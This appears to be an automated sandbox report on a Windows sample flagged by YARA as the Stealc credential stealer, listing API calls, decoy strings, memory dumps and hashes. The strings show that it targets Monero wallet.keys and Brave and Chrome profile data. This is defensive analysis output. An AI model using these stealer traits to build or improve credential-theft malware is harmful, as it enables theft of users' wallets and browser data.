MD5 hash:	421D06B2C1575E58B9990147D041A88E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2122152470.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2354236515.000000000162E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 005F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01640768), ref: 005F98A1
GetProcAddress.KERNEL32(75900000,01640720), ref: 005F98BA
GetProcAddress.KERNEL32(75900000,01640618), ref: 005F98D2
GetProcAddress.KERNEL32(75900000,01640738), ref: 005F98EA
GetProcAddress.KERNEL32(75900000,01640750), ref: 005F9903
GetProcAddress.KERNEL32(75900000,01648890), ref: 005F991B
GetProcAddress.KERNEL32(75900000,016368C0), ref: 005F9933
GetProcAddress.KERNEL32(75900000,016367E0), ref: 005F994C
GetProcAddress.KERNEL32(75900000,01640780), ref: 005F9964
GetProcAddress.KERNEL32(75900000,01640798), ref: 005F997C
GetProcAddress.KERNEL32(75900000,016407C8), ref: 005F9995
GetProcAddress.KERNEL32(75900000,01640828), ref: 005F99AD
GetProcAddress.KERNEL32(75900000,016369C0), ref: 005F99C5
GetProcAddress.KERNEL32(75900000,01640588), ref: 005F99DE
GetProcAddress.KERNEL32(75900000,016405A0), ref: 005F99F6
GetProcAddress.KERNEL32(75900000,016369E0), ref: 005F9A0E
GetProcAddress.KERNEL32(75900000,016405B8), ref: 005F9A27
GetProcAddress.KERNEL32(75900000,016408D0), ref: 005F9A3F
GetProcAddress.KERNEL32(75900000,01636680), ref: 005F9A57
GetProcAddress.KERNEL32(75900000,016408E8), ref: 005F9A70
GetProcAddress.KERNEL32(75900000,016366A0), ref: 005F9A88
LoadLibraryA.KERNEL32(016408A0,?,005F6A00), ref: 005F9A9A
LoadLibraryA.KERNEL32(016408B8,?,005F6A00), ref: 005F9AAB
LoadLibraryA.KERNEL32(01640888,?,005F6A00), ref: 005F9ABD
LoadLibraryA.KERNEL32(01640900,?,005F6A00), ref: 005F9ACF
LoadLibraryA.KERNEL32(01640918,?,005F6A00), ref: 005F9AE0
GetProcAddress.KERNEL32(75070000,01640858), ref: 005F9B02
GetProcAddress.KERNEL32(75FD0000,01640870), ref: 005F9B23
GetProcAddress.KERNEL32(75FD0000,01648D00), ref: 005F9B3B
GetProcAddress.KERNEL32(75A50000,01648C88), ref: 005F9B5D
GetProcAddress.KERNEL32(74E50000,01636820), ref: 005F9B7E
GetProcAddress.KERNEL32(76E80000,016488A0), ref: 005F9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 005F9BB6

Strings

NtQueryInformationProcess, xrefs: 005F9BAA

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: fc6d2868c2d9fdd1e991d68248d97ad87a54562a2dd8e22b061a4a746f267979
Instruction ID: 43e6bce7c92b70430e09bb6e56bcf3611d2179ca8f780886ab6dddb9489d58b7
Opcode Fuzzy Hash: fc6d2868c2d9fdd1e991d68248d97ad87a54562a2dd8e22b061a4a746f267979
Instruction Fuzzy Hash: DCA15EB55002449FD36CEFA8EE88A663BF9FF4C701744C52AE645C3264D7399843CB5A

Function 005E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 005E460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 005E479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E46C2

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 7c258311201f1d1477c18574f09053cf003fdddcd872cbcfe60bb7e4d704aefd
Instruction ID: 78828b3c2d18caac63ed93fba577af8bd1253b5065ca311c26dced103522e225
Opcode Fuzzy Hash: 7c258311201f1d1477c18574f09053cf003fdddcd872cbcfe60bb7e4d704aefd
Instruction Fuzzy Hash: 9C4115687C26447AC77CBBA488CFE9F7797DF42B02F616044E901932C0CBB26520CB26

Function 005EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

FindFirstFileA.KERNEL32(00000000,?,00600B32,00600B2B,00000000,?,?,?,006013F4,00600B2A), ref: 005EBEF5
StrCmpCA.SHLWAPI(?,006013F8), ref: 005EBF4D
StrCmpCA.SHLWAPI(?,006013FC), ref: 005EBF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 005EC7BF
FindClose.KERNEL32(000000FF), ref: 005EC7D1

Strings

\Brave\Preferences, xrefs: 005EC1DB
Brave, xrefs: 005EC102
Google Chrome, xrefs: 005EC634
Preferences, xrefs: 005EC11E

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 680eee8f7f86b4b5ffc1876ffe024701d8acc77f064ab030e34067379f60b040
Instruction ID: 8fe718519058bc96eeae15382e05dd87774f39b587c76fc38f91117a433350f2
Opcode Fuzzy Hash: 680eee8f7f86b4b5ffc1876ffe024701d8acc77f064ab030e34067379f60b040
Instruction Fuzzy Hash: C74256B290010997CB18FB70DD5AEFE7B79BFC4300F408558B64A96195EE34AB49CB93

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

GTC, xrefs: 6C653912
QPC, xrefs: 6C6538FC
AuthcAMDenti, xrefs: 6C653946
GenuntelineI, xrefs: 6C653639
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 005F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 005F492C
FindFirstFileA.KERNEL32(?,?), ref: 005F4943
StrCmpCA.SHLWAPI(?,00600FDC), ref: 005F4971
StrCmpCA.SHLWAPI(?,00600FE0), ref: 005F4987
FindNextFileA.KERNEL32(000000FF,?), ref: 005F4B7D
FindClose.KERNEL32(000000FF), ref: 005F4B92

Strings

%s\%s, xrefs: 005F49A4
%s\*, xrefs: 005F4920
%s\%s, xrefs: 005F49FB

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
